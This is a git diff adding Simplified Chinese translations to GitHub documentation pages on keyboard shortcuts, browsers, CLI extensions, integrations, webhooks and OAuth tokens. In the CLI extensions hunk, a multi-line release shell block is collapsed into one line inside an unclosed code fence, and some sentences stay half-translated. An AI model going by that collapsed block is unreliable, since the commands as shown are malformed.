-|<kbd>command</kbd> or <kbd>control + shift</kbd> and click | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>command</kbd> or <kbd>control + shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
+## 议题和拉取请求
+| 键盘快捷键                                                       | 描述                                                                                                                                                                                                                                                            |
+| ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>q</kbd>                                                | 请求审查者。 更多信息请参阅“[申请拉取请求审查](/articles/requesting-a-pull-request-review/)”。                                                                                                                                                                                      |
+| <kbd>m</kbd>                                                | 设置里程碑。 更多信息请参阅“[将里程碑与议题及拉取请求关联](/articles/associating-milestones-with-issues-and-pull-requests/)”。                                                                                                                                                            |
+| <kbd>l</kbd>                                                | 应用标签。 更多信息请参阅“[应用标签到议题和拉取请求](/articles/applying-labels-to-issues-and-pull-requests/)”。                                                                                                                                                                        |
+| <kbd>a</kbd>                                                | 设置受理人。 更多信息请参阅“[分配议题和拉取请求到其他 {% data variables.product.company_short %} 用户](/articles/assigning-issues-and-pull-requests-to-other-github-users/)”。                                                                                                            |
+| <kbd>cmd + shift + p</kbd> 或 <kbd>control + shift + p</kbd> | 在 **Write（撰写）**和 **Preview（预览）**选项卡之间切换{% ifversion fpt or ghec %}
+| <kbd>alt</kbd> 并单击                                          | 从任务列表创建议题时，按住 <kbd>alt</kbd> 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在当前选项卡中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。                                           |
+| <kbd>shift</kbd> 并点击                                        | 从任务列表创建议题时，按住 <kbd>shift</kbd> 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在新选项卡中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。                                          |
+| <kbd>command</kbd> 或 <kbd>control + shift</kbd> 并点击         | 从任务列表创建议题时，按住 <kbd>command</kbd> 或 <kbd>control + shift</kbd> 并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} ，在新窗口中打开新议题表单。 更多信息请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。{% endif %}
 
-## Changes in pull requests
+## 拉取请求中的更改
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Open the list of commits in the pull request
-|<kbd>t</kbd> | Open the list of changed files in the pull request
-|<kbd>j</kbd> | Move selection down in the list
-|<kbd>k</kbd> | Move selection up in the list
-| <kbd>cmd + shift + enter </kbd> | Add a single comment on a pull request diff |
-| <kbd>alt</kbd> and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down `alt` and clicking **Show outdated** or **Hide outdated**.|{% ifversion fpt or ghes or ghae or ghec %}
-| Click, then <kbd>shift</kbd> and click | Comment on multiple lines of a pull request by clicking a line number, holding <kbd>shift</kbd>, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|{% endif %}
+| 键盘快捷键                           | 描述                                                                                                                                                                                                          |
+| ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                    | 在拉取请求中打开提交列表                                                                                                                                                                                                |
+| <kbd>t</kbd>                    | 在拉取请求中打开已更改文件列表                                                                                                                                                                                             |
+| <kbd>j</kbd>                    | 将所选内容在列表中向下移动                                                                                                                                                                                               |
+| <kbd>k</kbd>                    | 将所选内容在列表中向上移动                                                                                                                                                                                               |
+| <kbd>cmd + shift + enter </kbd> | 添加一条有关拉取请求差异的评论                                                                                                                                                                                             |
+| <kbd>alt</kbd> 并单击              | 通过按下 `alt` 并单击 **Show outdated（显示已过期）**或 **Hide outdated（隐藏已过期）**，在折叠和展开拉取请求中所有过期的审查评论之间切换。{% ifversion fpt or ghes or ghae or ghec %}
+| 单击，然后按住 <kbd>shift</kbd> 并单击    | 单击一个行号，按住 <kbd>shift</kbd>，然后单击另一行号，便可对拉取请求的多行发表评论。 更多信息请参阅“[评论拉取请求](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)。”
+{% endif %}
 
-## Project boards
+## 项目板
 
-### Moving a column
+### 移动列
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused column
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>←</kbd> or <kbd>h</kbd> | Move column to the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move column to the leftmost position
-|<kbd>→</kbd> or <kbd>l</kbd> | Move column to the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move column to the rightmost position
+| 键盘快捷键                                                                                             | 描述          |
+| ------------------------------------------------------------------------------------------------- | ----------- |
+| <kbd>enter</kbd> 或 <kbd>space</kbd>                                                               | 开始移动聚焦的列    |
+| <kbd>escape</kbd>                                                                                 | 取消正在进行的移动   |
+| <kbd>enter</kbd>                                                                                  | 完成正在进行的移动   |
+| <kbd>←</kbd> 或 <kbd>h</kbd>                                                                       | 向左移动列       |
+| <kbd>command + ←</kbd> 或 <kbd>command + h</kbd> 或 <kbd>control + ←</kbd> 或 <kbd>control + h</kbd> | 将列移动到最左侧的位置 |
+| <kbd>→</kbd> 或 <kbd>l</kbd>                                                                       | 向右移动列       |
+| <kbd>command + →</kbd> 或 <kbd>command + l</kbd> 或 <kbd>control + →</kbd> 或 <kbd>control + l</kbd> | 将列移动到最右侧的位置 |
 
-### Moving a card
+### 移动卡片
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused card
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>↓</kbd> or <kbd>j</kbd> | Move card down
-|<kbd>command + ↓</kbd> or <kbd>command + j</kbd> or <kbd>control + ↓</kbd> or <kbd>control + j</kbd> | Move card to the bottom of the column
-|<kbd>↑</kbd> or <kbd>k</kbd> | Move card up
-|<kbd>command + ↑</kbd> or <kbd>command + k</kbd> or <kbd>control + ↑</kbd> or <kbd>control + k</kbd> | Move card to the top of the column
-|<kbd>←</kbd> or <kbd>h</kbd> | Move card to the bottom of the column on the left
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Move card to the top of the column on the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move card to the bottom of the leftmost column
-|<kbd>command + shift + ←</kbd> or <kbd>command + shift + h</kbd> or <kbd>control + shift + ←</kbd> or <kbd>control + shift + h</kbd> | Move card to the top of the leftmost column
-|<kbd>→</kbd> | Move card to the bottom of the column on the right
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Move card to the top of the column on the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move card to the bottom of the rightmost column
-|<kbd>command + shift + →</kbd> or <kbd>command + shift + l</kbd> or <kbd>control + shift + →</kbd> or <kbd>control + shift + l</kbd> | Move card to the bottom of the rightmost column
+| 键盘快捷键                                                                                                                             | 描述            |
+| --------------------------------------------------------------------------------------------------------------------------------- | ------------- |
+| <kbd>enter</kbd> 或 <kbd>space</kbd>                                                                                               | 开始移动聚焦的卡片     |
+| <kbd>escape</kbd>                                                                                                                 | 取消正在进行的移动     |
+| <kbd>enter</kbd>                                                                                                                  | 完成正在进行的移动     |
+| <kbd>↓</kbd> 或 <kbd>j</kbd>                                                                                                       | 向下移动卡片        |
+| <kbd>command + ↓</kbd> 或 <kbd>command + j</kbd> 或 <kbd>control + ↓</kbd> 或 <kbd>control + j</kbd>                                 | 将卡片移动到该列的底部   |
+| <kbd>↑</kbd> 或 <kbd>k</kbd>                                                                                                       | 向上移动卡片        |
+| <kbd>command + ↑</kbd> 或 <kbd>command + k</kbd> 或 <kbd>control + ↑</kbd> 或 <kbd>control + k</kbd>                                 | 将卡片移动到该列的顶部   |
+| <kbd>←</kbd> 或 <kbd>h</kbd>                                                                                                       | 将卡片移动到左侧列的底部  |
+| <kbd>shift + ←</kbd> 或 <kbd>shift + h</kbd>                                                                                       | 将卡片移动到左侧列的顶部  |
+| <kbd>command + ←</kbd> 或 <kbd>command + h</kbd> 或 <kbd>control + ←</kbd> 或 <kbd>control + h</kbd>                                 | 将卡片移动到最左侧列的底部 |
+| <kbd>command + shift + ←</kbd> 或 <kbd>command + shift + h</kbd> 或 <kbd>control + shift + ←</kbd> 或 <kbd>control + shift + h</kbd> | 将卡片移动到最左侧列的顶部 |
+| <kbd>→</kbd>                                                                                                                      | 将卡片移动到右侧列的底部  |
+| <kbd>shift + →</kbd> 或 <kbd>shift + l</kbd>                                                                                       | 将卡片移动到右侧列的顶部  |
+| <kbd>command + →</kbd> 或 <kbd>command + l</kbd> 或 <kbd>control + →</kbd> 或 <kbd>control + l</kbd>                                 | 将卡片移动到最右侧列的底部 |
+| <kbd>command + shift + →</kbd> 或 <kbd>command + shift + l</kbd> 或 <kbd>control + shift + →</kbd> 或 <kbd>control + shift + l</kbd> | 将卡片移动到最右侧列的底部 |
 
-### Previewing a card
+### 预览卡片
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>esc</kbd> | Close the card preview pane
+| 键盘快捷键          | 描述       |
+| -------------- | -------- |
+| <kbd>esc</kbd> | 关闭卡片预览窗格 |
 
 {% ifversion fpt or ghec %}
 ## {% data variables.product.prodname_actions %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>command + space </kbd> or <kbd>control + space</kbd> | In the workflow editor, get suggestions for your workflow file.
-|<kbd>g</kbd> <kbd>f</kbd> | Go to the workflow file
-|<kbd>shift + t</kbd> or <kbd>T</kbd> | Toggle timestamps in logs
-|<kbd>shift + f</kbd> or <kbd>F</kbd> | Toggle full-screen logs
-|<kbd>esc</kbd> | Exit full-screen logs
+| 键盘快捷键                                                    | 描述                      |
+| -------------------------------------------------------- | ----------------------- |
+| <kbd>command + space </kbd> 或 <kbd>control + space</kbd> | 在工作流程编辑器中，获取对工作流程文件的建议。 |
+| <kbd>g</kbd> <kbd>f</kbd>                                | 转到工作流程文件                |
+| <kbd>shift + t</kbd> 或 <kbd>T</kbd>                      | 切换日志中的时间戳               |
+| <kbd>shift + f</kbd> 或 <kbd>F</kbd>                      | 切换全屏日志                  |
+| <kbd>esc</kbd>                                           | 退出全屏日志                  |
 
 {% endif %}
 
-## Notifications
-
+## 通知
 {% ifversion fpt or ghes or ghae or ghec %}
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> | Mark as done
-| <kbd>shift + u</kbd>| Mark as unread
-| <kbd>shift + i</kbd>| Mark as read
-| <kbd>shift + m</kbd> | Unsubscribe
+| 键盘快捷键                | 描述    |
+| -------------------- | ----- |
+| <kbd>e</kbd>         | 标记为完成 |
+| <kbd>shift + u</kbd> | 标记为未读 |
+| <kbd>shift + i</kbd> | 标记为已读 |
+| <kbd>shift + m</kbd> | 取消订阅  |
 
 {% else %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> or <kbd>I</kbd> or <kbd>y</kbd> | Mark as read
-|<kbd>shift + m</kbd> | Mute thread
+| 键盘快捷键                                    | 描述    |
+| ---------------------------------------- | ----- |
+| <kbd>e</kbd>、<kbd>I</kbd> 或 <kbd>y</kbd> | 标记为已读 |
+| <kbd>shift + m</kbd>                     | 静音线程  |
 {% endif %}
 
-## Network graph
+## 网络图
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>←</kbd> or <kbd>h</kbd> | Scroll left
-|<kbd>→</kbd> or <kbd>l</kbd> | Scroll right
-|<kbd>↑</kbd> or <kbd>k</kbd> | Scroll up
-|<kbd>↓</kbd> or <kbd>j</kbd> | Scroll down
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Scroll all the way left
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Scroll all the way right
-|<kbd>shift + ↑</kbd> or <kbd>shift + k</kbd> | Scroll all the way up
-|<kbd>shift + ↓</kbd> or <kbd>shift + j</kbd> | Scroll all the way down
+| 键盘快捷键                                       | 描述     |
+| ------------------------------------------- | ------ |
+| <kbd>←</kbd> 或 <kbd>h</kbd>                 | 向左滚动   |
+| <kbd>→</kbd> 或 <kbd>l</kbd>                 | 向右滚动   |
+| <kbd>↑</kbd> 或 <kbd>k</kbd>                 | 向上滚动   |
+| <kbd>↓</kbd> 或 <kbd>j</kbd>                 | 向下滚动   |
+| <kbd>shift + ←</kbd> 或 <kbd>shift + h</kbd> | 一直向左滚动 |
+| <kbd>shift + →</kbd> 或 <kbd>shift + l</kbd> | 一直向右滚动 |
+| <kbd>shift + ↑</kbd> 或 <kbd>shift + k</kbd> | 一直向上滚动 |
+| <kbd>shift + ↓</kbd> 或 <kbd>shift + j</kbd> | 一直向下滚动 |
diff --git a/translations/zh-CN/content/get-started/using-github/supported-browsers.md b/translations/zh-CN/content/get-started/using-github/supported-browsers.md
index 610b6584c6..d321bc0cfd 100644
--- a/translations/zh-CN/content/get-started/using-github/supported-browsers.md
+++ b/translations/zh-CN/content/get-started/using-github/supported-browsers.md
@@ -1,22 +1,23 @@
 ---
-title: Supported browsers
+title: 支持的浏览器
 redirect_from:
   - /articles/why-doesn-t-graphs-work-with-ie-8
   - /articles/why-don-t-graphs-work-with-ie8
   - /articles/supported-browsers
   - /github/getting-started-with-github/supported-browsers
   - /github/getting-started-with-github/using-github/supported-browsers
-intro: 'We design {% data variables.product.product_name %} to support the latest web browsers. We support the current versions of [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/), and [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
+intro: '我们将 {% data variables.product.product_name %} 设计为支持最新的 Web 浏览器。 我们支持最新版本的 [Chrome](https://www.google.com/chrome/)、[Firefox](http://www.mozilla.org/firefox/)、[Safari](http://www.apple.com/safari/) 和 [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge)。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
+
 ## Firefox Extended Support Release
 
-We do our best to support Firefox's latest [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR). Older versions of Firefox may disable some features on {% data variables.product.product_name %} and require the latest version of Firefox.
+我们尽最大努力支持 Firefox 的最新 [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR)。 较旧版本的 Firefox 可能会禁用 {% data variables.product.product_name %} 上的某些功能，因此需要最新版本的 Firefox。
 
-## Beta and developer builds
+## 测试版和开发者版本
 
-You may encounter unexpected bugs in beta and developer builds of our supported browsers. If you encounter a bug on {% data variables.product.product_name %} in one of these unreleased builds, please verify that it also exists in the stable version of the same browser. If the bug only exists in the unstable version, consider reporting the bug to the browser developer.
+您可能会在我们支持的浏览器的测试版和开发者版本中遇到意外的漏洞。 如果您在这些未发布版本之一中遇到 {% data variables.product.product_name %} 上的漏洞，请确认同一浏览器的稳定版本中也存在该漏洞。 如果漏洞仅在不稳定版本中存在，请考虑向浏览器开发者报告该漏洞。
diff --git a/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md
index e51a8bd6a9..fecc7c59a4 100644
--- a/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md
+++ b/translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md
@@ -80,7 +80,7 @@ You can use the `--precompiled=other` argument to create a project for your non-
 
   {% endnote %}
 
-1. Write your script in the executable file. For example:
+1. Write your script in the executable file. 例如：
 
   ```bash
   #!/usr/bin/env bash
@@ -188,7 +188,7 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
 
 1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
 
-1. In the directory you created, add some source code. For example:
+1. In the directory you created, add some source code. 例如：
 
     ```go
     package main
@@ -253,15 +253,9 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
 
   {% endnote %}
 
-  Releases can be created from the command line. For example:
+  Releases can be created from the command line. 例如：
 
-  ```shell
-  git tag v1.0.0
-  git push origin v1.0.0
-  GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe
-  GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64
-  GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64
-  gh release create v1.0.0 ./*amd64*
+  ```shell git tag v1.0.0 git push origin v1.0.0 GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64 GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64 gh release create v1.0.0 ./*amd64*
 
 1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
 
@@ -276,6 +270,6 @@ Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extensio
 
 Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions.
 
-## Next steps
+## 后续步骤
 
 To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension).
diff --git a/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
index 621628a074..d26735a67b 100644
--- a/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
+++ b/translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub extensions and integrations
-intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.'
+title: GitHub 扩展和集成
+intro: '通过 {% data variables.product.product_name %} 扩展可在第三方应用程序中无缝使用 {% data variables.product.product_name %} 仓库。'
 redirect_from:
   - /articles/about-github-extensions-for-third-party-applications
   - /articles/github-extensions-and-integrations
@@ -8,44 +8,45 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Extensions & integrations
+shortTitle: 扩展和集成
 ---
-## Editor tools
 
-You can connect to {% data variables.product.product_name %} repositories within third-party editor tools, such as Atom, Unity, and Visual Studio.
+## 编辑器工具
+
+您可以在第三方编辑器工具中连接到 {% data variables.product.product_name %} 仓库，例如 Atom、Unity 和 Visual Studio 等工具。
 
 ### {% data variables.product.product_name %} for Atom
 
-With the {% data variables.product.product_name %} for Atom extension, you can commit, push, pull, resolve merge conflicts, and more from the Atom editor. For more information, see the official [{% data variables.product.product_name %} for Atom site](https://github.atom.io/).
+使用 {% data variables.product.product_name %} for Atom 扩展，您可以从 Atom 编辑器中提交、推送、拉取和解决合并冲突等。 更多信息请参阅官方 [{% data variables.product.product_name %} for Atom 站点](https://github.atom.io/)。
 
 ### {% data variables.product.product_name %} for Unity
 
-With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs).
+使用 {% data variables.product.product_name %} for Unity 编辑器扩展，您可以在开源游戏开发平台 Unity 上进行开发，在 {% data variables.product.product_name %} 查看您的工作。 更多信息请参阅官方 Unity 编辑器扩展[站点](https://unity.github.com/)或[文档](https://github.com/github-for-unity/Unity/tree/master/docs)。
 
 ### {% data variables.product.product_name %} for Visual Studio
 
-With the {% data variables.product.product_name %} for Visual Studio extension, you can work in {% data variables.product.product_name %} repositories without leaving Visual Studio. For more information, see the official Visual Studio extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs).
+使用 {% data variables.product.product_name %} for Visual Studio 扩展，您可以 Visual Studio 中处理 {% data variables.product.product_name %} 仓库。 更多信息请参阅官方 Visual Studio 扩展[站点](https://visualstudio.github.com/)或[文档](https://github.com/github/VisualStudio/tree/master/docs)。
 
 ### {% data variables.product.prodname_dotcom %} for Visual Studio Code
 
-With the {% data variables.product.prodname_dotcom %} for Visual Studio Code extension, you can review and manage {% data variables.product.product_name %} pull requests in Visual Studio Code. For more information, see the official Visual Studio Code extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github).
+使用 {% data variables.product.prodname_dotcom %} for Visual Studio Code 扩展，您可以在 Visual Studio Code 中审查和管理 {% data variables.product.product_name %} 拉取请求。 更多信息请参阅官方 Visual Studio Code 扩展[站点](https://vscode.github.com/)或[文档](https://github.com/Microsoft/vscode-pull-request-github)。
 
-## Project management tools
+## 项目管理工具
 
-You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party project management tools, such as Jira.
+您可以将 {% data variables.product.product_location %} 上的个人或组织帐户与第三方项目管理工具（如 Jira）集成。
 
-### Jira Cloud and {% data variables.product.product_name %}.com integration
+### Jira Cloud 与 {% data variables.product.product_name %}.com 集成
 
-You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace.
+您可以将 Jira Cloud 与个人或组织帐户集成，以扫描提交和拉取请求，在任何提及的 Jira 议题中创建相关的元数据和超链接。 更多信息请访问 Marketplace 中的 [Jira 集成应用程序](https://github.com/marketplace/jira-software-github)。
 
-## Team communication tools
+## 团队通信工具
 
-You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams.
+您可以将 {% data variables.product.product_location %} 上的个人或组织帐户与第三方团队通信工具（如 Slack 或 Microsoft Teams）集成。
 
-### Slack and {% data variables.product.product_name %} integration
+### Slack 与 {% data variables.product.product_name %} 集成
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, releases, deployment reviews and deployment statuses. You can also perform activities like close or open issues, and provide rich references to issues and pull requests without leaving Slack. For more information, visit the [Slack integration app](https://github.com/marketplace/slack-github) in the marketplace.
+您可以订阅仓库或组织，并获得有关议题、拉取请求、提交、发布、部署审查和部署状态的实时更新。 您还可以执行关闭或打开议题等活动，并在不离开 Slack 的情况下提供丰富的议题和拉取请求参考。 更多信息请访问 Marketplace 中的 [Slack 集成应用程序](https://github.com/marketplace/slack-github)。
 
-### Microsoft Teams and {% data variables.product.product_name %} integration
+### Microsoft Teams 与 {% data variables.product.product_name %} 集成
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, deployment reviews and deployment statuses. You can also perform activities like close or open issues, comment on your issues and pull requests, and provide rich references to issues and pull requests without leaving Microsoft Teams. For more information, visit the [Microsoft Teams integration app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource.
+您可以订阅仓库或组织，并获得有关议题、拉取请求、提交、部署审查和部署状态的实时更新。 您也可以执行一些活动，如关闭或打开议题、评论您的议题和拉取请求，以及提供丰富的议题和拉取请求引用而不离开 Microsoft Teams。 更多信息请访问 Microsoft AppSource 中的 [Microsoft Teams 集成应用程序](https://appsource.microsoft.com/en-us/product/office/WA200002077)。
diff --git a/translations/zh-CN/content/github/extending-github/about-webhooks.md b/translations/zh-CN/content/github/extending-github/about-webhooks.md
index 3ebe391ec7..d6e07d03ef 100644
--- a/translations/zh-CN/content/github/extending-github/about-webhooks.md
+++ b/translations/zh-CN/content/github/extending-github/about-webhooks.md
@@ -1,11 +1,11 @@
 ---
-title: About webhooks
+title: 关于 web 挂钩
 redirect_from:
   - /post-receive-hooks
   - /articles/post-receive-hooks
   - /articles/creating-webhooks
   - /articles/about-webhooks
-intro: Webhooks provide a way for notifications to be delivered to an external web server whenever certain actions occur on a repository or organization.
+intro: Web 挂钩是一种通知方式，只要仓库或组织上发生特定操作，就会发送通知到外部 web 服务器。
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,17 +15,17 @@ versions:
 
 {% tip %}
 
-**Tip:** {% data reusables.organizations.owners-and-admins-can %} manage webhooks for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**提示：** {% data reusables.organizations.owners-and-admins-can %} 为组织管理 web 挂钩。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-Webhooks can be triggered whenever a variety of actions are performed on a repository or an organization. For example, you can configure a webhook to execute whenever:
+只要在仓库或组织上执行特定的操作，就可触发 web 挂钩。 例如，您可以配置 web 挂钩在以下情况下执行：
 
-* A repository is pushed to
-* A pull request is opened
-* A {% data variables.product.prodname_pages %} site is built
-* A new member is added to a team
+* 推送到仓库
+* 打开拉取请求
+* 构建 {% data variables.product.prodname_pages %} 网站
+* 团队新增成员
 
-Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you can make these webhooks update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server.
+使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 可以让这些 web 挂钩更新外部议题跟踪器、触发 CI 构建、更新备份镜像，甚至部署到生产服务器。
 
-To set up a new webhook, you'll need access to an external server and familiarity with the technical procedures involved. For help on building a webhook, including a full list of actions you can associate with, see "[Webhooks](/webhooks)."
+要设置新的 web 挂钩，您需要访问外部服务器并熟悉所涉及的技术程序。 有关构建 web 挂钩的帮助，包括可以关联的完整操作列表，请参阅“[web 挂钩](/webhooks)”。
diff --git a/translations/zh-CN/content/github/extending-github/git-automation-with-oauth-tokens.md b/translations/zh-CN/content/github/extending-github/git-automation-with-oauth-tokens.md
index e22725a212..f8b1f9428b 100644
--- a/translations/zh-CN/content/github/extending-github/git-automation-with-oauth-tokens.md
+++ b/translations/zh-CN/content/github/extending-github/git-automation-with-oauth-tokens.md
@@ -1,48 +1,48 @@
 ---
-title: Git automation with OAuth tokens
+title: 使用 OAuth 令牌实施 Git 自动化
 redirect_from:
   - /articles/git-over-https-using-oauth-token
   - /articles/git-over-http-using-oauth-token
   - /articles/git-automation-with-oauth-tokens
-intro: 'You can use OAuth tokens to interact with {% data variables.product.product_name %} via automated scripts.'
+intro: '你可以使用 OAuth 令牌通过自动化脚本与 {% data variables.product.product_name %} 交互。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Automate with OAuth tokens
+shortTitle: 使用 OAuth 令牌实施自动化
 ---
 
-## Step 1: Get an OAuth token
+## 第 1 步：获取 OAuth 令牌
 
-Create a personal access token on your application settings page. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+在应用程序设置页面上创建个人访问令牌。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
 {% tip %}
 
 {% ifversion fpt or ghec %}
-**Tips:**
-- You must verify your email address before you can create a personal access token. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+**提示：**
+- 您必须先验证您的电子邮件地址才能创建个人访问令牌。 更多信息请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。
 - {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% else %}
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**提示：**{% data reusables.user_settings.review_oauth_tokens_tip %}
 {% endif %}
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-## Step 2: Clone a repository
+## 第 2 步：克隆仓库
 
 {% data reusables.command_line.providing-token-as-password %}
 
-To avoid these prompts, you can use Git password caching. For information, see "[Caching your GitHub credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+为了避免这些提示，您可以使用 Git 密码缓存。 有关信息请参阅“[在 Git 中缓存 GitHub 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git)”。
 
 {% warning %}
 
-**Warning**: Tokens have read/write access and should be treated like passwords. If you enter your token into the clone URL when cloning or adding a remote, Git writes it to your _.git/config_ file in plain text, which is a security risk.
+**警告**：令牌具有读取/写入权限，应该被视为密码。 如果您在克隆或添加远程仓库时将令牌输入克隆 URL，Git 会以纯文本格式将其写入 _.git/config_ 文件，这存在安全风险。
 
 {% endwarning %}
 
-## Further reading
+## 延伸阅读
 
-- "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps)"
+- "[授权 OAuth 应用程序](/developers/apps/authorizing-oauth-apps)"
diff --git a/translations/zh-CN/content/github/extending-github/index.md b/translations/zh-CN/content/github/extending-github/index.md
index 79a03ace00..bdb9e55bd7 100644
--- a/translations/zh-CN/content/github/extending-github/index.md
+++ b/translations/zh-CN/content/github/extending-github/index.md
